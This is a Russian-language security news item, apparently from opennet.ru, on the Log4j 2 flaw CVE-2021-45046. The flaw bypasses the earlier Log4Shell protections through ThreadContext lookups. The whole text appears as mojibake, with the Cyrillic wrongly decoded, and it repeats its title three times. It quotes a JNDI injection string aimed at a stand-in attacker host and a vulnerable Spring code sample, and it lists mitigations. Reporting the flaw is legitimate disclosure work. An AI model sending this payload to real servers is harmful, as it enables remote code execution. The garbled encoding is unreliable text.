Новый Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ Π½Π° Log4j 2, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π·Π°Ρ‰ΠΈΡ‚Ρƒ

Π’ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ подстановок JNDI Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ Log4j 2 выявлСна Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ (CVE-2021-45046), ΠΏΡ€ΠΎΡΠ²Π»ΡΡŽΡ‰Π°ΡΡΡ нСсмотря Π½Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² выпуск 2.15 исправлСния ΠΈ нСзависимо ΠΎΡ‚ использования настройки «log4j2.noFormatMsgLookup» для Π·Π°Ρ‰ΠΈΡ‚Ρ‹. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° прСдставляСт ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π² основном для старых вСрсий Log4j 2, Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„Π»Π°Π³Π° «noFormatMsgLookup», Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρƒ ΠΎΡ‚ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΉ узявимости (Log4Shell, CVE-2021-44228), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ Π½Π° сСрвСрС. Для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ вСрсии 2.15 эксплуатация ограничиваСтся созданиСм условий для Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ прилоТСния ΠΈΠ·-Π·Π° исчСрпания доступных рСсурсов.

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ проявляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° систСмах, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΈ ΠΆΡƒΡ€Π½Π°Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ контСкстныС запросы (Context Lookup), Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ${ctx:loginId}, ΠΈΠ»ΠΈ MDC-ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (Thread Context Map), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, %X, %mdc ΠΈ %MDC. Эксплуатация сводится ΠΊ созданию условий для Π²Ρ‹Π²ΠΎΠ΄Π° Π² Π»ΠΎΠ³ Π΄Π°Π½Π½Ρ‹Ρ…, содСрТащих подстановки JNDI, ΠΏΡ€ΠΈ использовании Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ контСкстных запросов ΠΈΠ»ΠΈ MDC-шаблонов, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΡ… ΠΏΡ€Π°Π²ΠΈΠ»Π° форматирования Π²Ρ‹Π²ΠΎΠ΄Π° Π² Π»ΠΎΠ³.

Π˜ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΈΠ· ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ LunaSec ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ для вСрсий Log4j мСньшС 2.15 данная ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹ΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€ для Π°Ρ‚Π°ΠΊΠΈ Log4Shell, приводящСй ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°, Ссли ΠΏΡ€ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ выраТСния ThreadContext, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ внСшниС Π΄Π°Π½Π½Ρ‹Π΅, нСзависимо ΠΎΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ для Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Ρ„Π»Π°Π³Π° «noMsgFormatLookups» ΠΈΠ»ΠΈ шаблона «%m{nolookups}».

Новый Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ Π½Π° Log4j 2, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π·Π°Ρ‰ΠΈΡ‚Ρƒ

ΠžΠ±Ρ…ΠΎΠ΄ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ сводится ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ вмСсто прямой подстановки «${jndi:ldap://attacker.com/a}», Π΄Π°Π½Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ подставляСтся Ρ‡Π΅Ρ€Π΅Π· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΉ Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ… форматирования Π²Ρ‹Π²ΠΎΠ΄Π° Π² Π»ΠΎΠ³. НапримСр, Ссли ΠΏΡ€ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ контСкстный запрос ${ctx:apiversion}, Ρ‚ΠΎ Π°Ρ‚Π°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½Π° Ρ‡Π΅Ρ€Π΅Π· подстановку Π΄Π°Π½Π½Ρ‹Ρ… «${jndi:ldap://attacker.com/a}» Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, записываСмоС Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ apiversion. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ уязвимого ΠΊΠΎΠ΄Π°: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { // Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «X-Api-Version» пСрСдаётся Π² ThreadContext ThreadContext.put(«apiversion», apiVersion); // ΠŸΡ€ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ внСшнСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ apiversion Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ подстановки ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; }

Π’ вСрсии Log4j 2.15 ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ DoS-Π°Ρ‚Π°ΠΊ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ Π² ThreadContext Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, приводящих ΠΊ Π·Π°Ρ†ΠΈΠΊΠ»ΠΈΠ²Π°Π½ΠΈΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ шаблона форматирования Π²Ρ‹Π²ΠΎΠ΄Π°.

Новый Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ Π½Π° Log4j 2, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π·Π°Ρ‰ΠΈΡ‚Ρƒ

Для блокирования уязвимости ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ‹ обновлСния 2.16 ΠΈ 2.12.2. Π’ Π²Π΅Ρ‚ΠΊΠ΅ Log4j 2.16, ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π² вСрсии 2.15 исправлСний ΠΈ привязки JNDI LDAP-запросов ΠΊ «localhost», ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ JNDI ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° шаблонов подстановки сообщСний. Π’ качСствС ΠΎΠ±Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ класс JndiLookup ΠΈΠ· classpath (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).

ΠŸΡ€ΠΎΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° появлСниСм исправлСний Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π°Ρ… ΠΌΠΎΠΆΠ½ΠΎ Π½Π° страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Java-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ (GitHub, Docker, Oracle, vmWare, Broadcom ΠΈ Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ΠΈ Ρ‚.Π΄.).

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru